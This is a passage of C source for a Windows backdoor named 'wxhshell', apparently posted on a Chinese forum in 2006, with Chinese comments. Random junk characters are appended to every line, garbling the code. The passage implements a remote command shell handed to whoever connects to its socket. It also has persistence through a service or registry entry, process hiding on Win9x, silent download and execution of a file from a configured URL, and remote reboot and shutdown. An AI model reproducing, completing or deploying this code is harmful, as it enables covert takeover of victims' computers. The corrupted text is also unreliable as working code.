  // 帮助 8z@A/$T  
  case '?': { ,2u]rLxx;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y:1?~R  
    break; YTY0N5["  
  } IUzRE?Kzf  
  // 安装 bBjVot  
  case 'i': { E#T'=f[r~  
    if(Install()) bMgp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :5;[Rg5 2  
    else lG q;kIQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JG4Tb{F=  
    break; T `N(=T^*  
    } yp8 .\.  
  // 卸载 cLamqZf3  
  case 'r': { MECR0S9  
    if(Uninstall()) 7 0KZXgBy_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O#9Q+BD  
    else jk)U~KGcg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zS.7O'I<'  
    break; ZWYwVAo  
    } brZ3T`p+.P  
  // 显示 wxhshell 所在路径 wp$SO^?-  
  case 'p': { LM0 TSB?  
    char svExeFile[MAX_PATH]; !m78/[LW  
    strcpy(svExeFile,"\n\r"); k~Gjfo  
      strcat(svExeFile,ExeFile); =PXNg!B}D*  
        send(wsh,svExeFile,strlen(svExeFile),0); RL($h4d9  
    break; /K'Kx  
    } iPxSVH[  
  // 重启 3<B{-z  
  case 'b': { <;M6s~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yl|+D]  
    if(Boot(REBOOT)) 2f F)I&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P^+Og_$  
    else { *,mbZE=<  
    closesocket(wsh); \}Hk`n)Aq  
    ExitThread(0); jt?R a1Z  
    } cpf8f i  
    break; ~ 5`Ngpp  
    } 9'O<d/xj/  
  // 关机 J0^p\mG  
  case 'd': { vw3%u+Z&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B f[D&O  
    if(Boot(SHUTDOWN)) &AA u:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] 5c|  
    else { gn7pIoN  
    closesocket(wsh); Ii SO {  
    ExitThread(0); 3vDV   
    } |qfnbi-\  
    break; i9w xP i  
    } 7M5HIK6_  
  // 获取shell QTM+ WD  
  case 's': { ;sb0,2YyP  
    CmdShell(wsh); JWM/np6  
    closesocket(wsh); 8&H1w9NrX_  
    ExitThread(0); jt;68SA P  
    break; 6]na#<  
  } {{:MJ\_"h_  
  // 退出 ("wPkm^  
  case 'x': { kf^Wzp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E/Y.f  
    CloseIt(wsh); 0A\o8T.12  
    break; 2qw~hWX  
    } ?^0#:QevC  
  // 离开 WF_G GF{  
  case 'q': { 'Zk&AD ~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n6 )  
    closesocket(wsh);  Ws}u4t  
    WSACleanup(); 8ec~"vGLz~  
    exit(1); (iH5F9WO  
    break; $O7>E!uVD  
        }  6 5qH  
  } Kq{9 :G  
  } 4TUe*F@ ML  
E9QNx6 2  
  // 提示信息 7vgz=- MZ#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aZ#c_Q#gZ  
} =OTwP  
  } Eo)n( Z9  
u]CW5snz  
  return; hNSV}~h  
} qDOx5.d  
i7:j(W^I8  
// shell模块句柄 ]'M Ly#9  
int CmdShell(SOCKET sock) *(s)CWf  
{ mbSJ}3c"  
STARTUPINFO si; J1&G1\G|s=  
ZeroMemory(&si,sizeof(si)); %;9wToyK>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |\Jpjm)?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?5"~V^L3  
PROCESS_INFORMATION ProcessInfo; bQEQHqY5  
char cmdline[]="cmd"; 866n{lyL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dorZ O2Uc  
  return 0; <eb>/ D  
} (T!Q  
e>y"V; Mj  
// 自身启动模式 bZ:w_z[3=  
int StartFromService(void) ZN',=&;n'  
{ &\`=}hB  
typedef struct h5.u W8  
{ 8BC}D+q  
  DWORD ExitStatus; $UgM7V$  
  DWORD PebBaseAddress; "P'W@  
  DWORD AffinityMask; cMI QbBM  
  DWORD BasePriority; g@KS\.m]  
  ULONG UniqueProcessId; M*{ EK  
  ULONG InheritedFromUniqueProcessId; =)(sN"%  
}   PROCESS_BASIC_INFORMATION; og!Uq]U/y  
u%3Z +[  
PROCNTQSIP NtQueryInformationProcess; 315Rk!{AJ  
!2$O^ }6"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \} P}H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GYyP+7K4l[  
r4D6g>)h1q  
  HANDLE             hProcess; lRX*\ M\`  
  PROCESS_BASIC_INFORMATION pbi; !$f@j6.  
f \[Z`D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ES<"YF  
  if(NULL == hInst ) return 0; bY&s $Ry3"  
jo0p/5;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UACWs3`s+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /|P&{!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kce+aiv|u  
Dm"GCV  
  if (!NtQueryInformationProcess) return 0; >/eQjp?:  
@ 4j#X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DpoRR`  
  if(!hProcess) return 0; XM>ByfD{  
X#Ajt/XQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7Oru{BQ">  
SP 97Q-  
  CloseHandle(hProcess); ;HgV(d#X  
[#$z.BoEo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y!)Z ^u  
if(hProcess==NULL) return 0; IH'DCY:  
>jq~5HN  
HMODULE hMod; "#qyX[\  
char procName[255]; 9#@dQ/*  
unsigned long cbNeeded; QY/36gK  
39BGwKXb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); khyn4   
zl=RK  
  CloseHandle(hProcess); pEw &i  
`$fwLC3j  
if(strstr(procName,"services")) return 1; // 以服务启动 <pK72  
/`Yp]l  
  return 0; // 注册表启动 S6 `4&0'  
} <._MNHC  
y8D'V)B  
// 主模块 ZH~T'Bg  
int StartWxhshell(LPSTR lpCmdLine) :W? 7J"  
{ h7wm xa;  
  SOCKET wsl; v;80RjPy>  
BOOL val=TRUE; 5NZob<<  
  int port=0; Wm7Dy7#l  
  struct sockaddr_in door; r}+U1l3#2  
i o 3qG6  
  if(wscfg.ws_autoins) Install(); 8~u#?xs6  
ry/AF  
port=atoi(lpCmdLine); C;y3?+6P$  
O)kC[e4  
if(port<=0) port=wscfg.ws_port; kViX FPW  
CZS{^6Ye  
  WSADATA data; Q!(C$&f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,9`sC8w|  
e3yBB*@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w<lHY=z E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k z@@/DD/9  
  door.sin_family = AF_INET; o2He}t2o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EX~ U(JB6  
  door.sin_port = htons(port); +3(1QgYM%  
KE]!7+8-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { AVyqtztQ  
closesocket(wsl); `Jq ?+W  
return 1; tq8B)<(]  
} H$9--p  
NU-({dGK}  
  if(listen(wsl,2) == INVALID_SOCKET) { AhZ8B'Ee  
closesocket(wsl); s"*zyLUUo  
return 1; k+f!)7_  
} :[ F`tDL  
  Wxhshell(wsl); S>Z V8  
  WSACleanup(); Ysz{~E'  
&~29%Ns  
return 0; *Sm$FMWQ  
FYFP 6ti  
} Em N0K'x  
Bmm#5X@*  
// 以NT服务方式启动 G,FYj'<!7,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qrsPY d  
{ BQ2EDy=}6  
DWORD   status = 0; cE '`W7&A  
  DWORD   specificError = 0xfffffff; x JQde 4  
^,]'Ut  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =toqEm~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j{?,nJdQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2$. ubA  
  serviceStatus.dwWin32ExitCode     = 0; (30{:o&^  
  serviceStatus.dwServiceSpecificExitCode = 0; q g?q|W  
  serviceStatus.dwCheckPoint       = 0; RMMx6L|-:  
  serviceStatus.dwWaitHint       = 0; a)$"   
qPK3"fzH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _%Sorr  
  if (hServiceStatusHandle==0) return; C\Qor3];  
AB'q!7NR  
status = GetLastError(); >wS52ng  
  if (status!=NO_ERROR) ~@S5*(&8  
{ y TfAS .  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "45O!AjP  
    serviceStatus.dwCheckPoint       = 0; gQ %'2m+  
    serviceStatus.dwWaitHint       = 0; I2hX;pk,  
    serviceStatus.dwWin32ExitCode     = status; "Sz pFw  
    serviceStatus.dwServiceSpecificExitCode = specificError; ()6)|A<^U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D^W6Cq5\  
    return; aL$m  
  } :?2+'+%'  
WHk/Rg%<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; axW3#3#`  
  serviceStatus.dwCheckPoint       = 0; =/&ob%J)9]  
  serviceStatus.dwWaitHint       = 0; 4# MvOjA5[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dVmI.A'nbp  
} PsU.dv[  
POwJhT  
// 处理NT服务事件,比如:启动、停止 <cW$ \P}hV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $m]~d6  
{ n*(Vf'k  
switch(fdwControl) D$ zKkP YI  
{ RbKAB8  
case SERVICE_CONTROL_STOP: Mt(wy%{zK  
  serviceStatus.dwWin32ExitCode = 0; # 8 0DM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?sWPx!tU  
  serviceStatus.dwCheckPoint   = 0; r+-KrO'  
  serviceStatus.dwWaitHint     = 0; pRe, B'&  
  { UKMr,{iy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "z)dz,&T  
  } NTS tk{s,  
  return; +h_'hz&HlS  
case SERVICE_CONTROL_PAUSE: pV]m6! y&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fEf ",{I  
  break; s7e)Mt  
case SERVICE_CONTROL_CONTINUE: {|= 8wB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Sh(  
  break; 3 &.?9  
case SERVICE_CONTROL_INTERROGATE: mE^mQ [Dk  
  break; 6"U&i9  
}; [0U!Y/?6lA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;A7HEx  
} Ymkk"y.w  
5<\&7P3y  
// 标准应用程序主函数 Y0fX\6=h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xjB2?:/2  
{ [ &RZ&  
ESp)%  
// 获取操作系统版本 ~n9BN'@x  
OsIsNt=GetOsVer(); L!s/0kBg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [ R1S+i  
-f IX6  
  // 从命令行安装 t"k6wv;Tq  
  if(strpbrk(lpCmdLine,"iI")) Install(); Fn.wd`'0  
F#>?i}  
  // 下载执行文件 ig:,:KN  
if(wscfg.ws_downexe) { A ^@:Ps  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P -0  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9r=@S  
} ikf!7-,  
W8+Daw1Nr  
if(!OsIsNt) { H)S" `j  
// 如果时win9x,隐藏进程并且设置为注册表启动 sJo]$/?F  
HideProc(); ,Q!sns[T  
StartWxhshell(lpCmdLine); `p1szZD&  
} Se/VOzzg  
else U\'.rT[#  
  if(StartFromService()) NKf][!bi  
  // 以服务方式启动 6KC.l}Y*  
  StartServiceCtrlDispatcher(DispatchTable); ~Fp,nE-B  
else | Z'NMJU  
  // 普通方式启动 HTiqErD2_  
  StartWxhshell(lpCmdLine); |!:ImX@  
1Y!" C  
return 0; gBfYm  
}
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只看该作者 1 发表于: 2006-10-10
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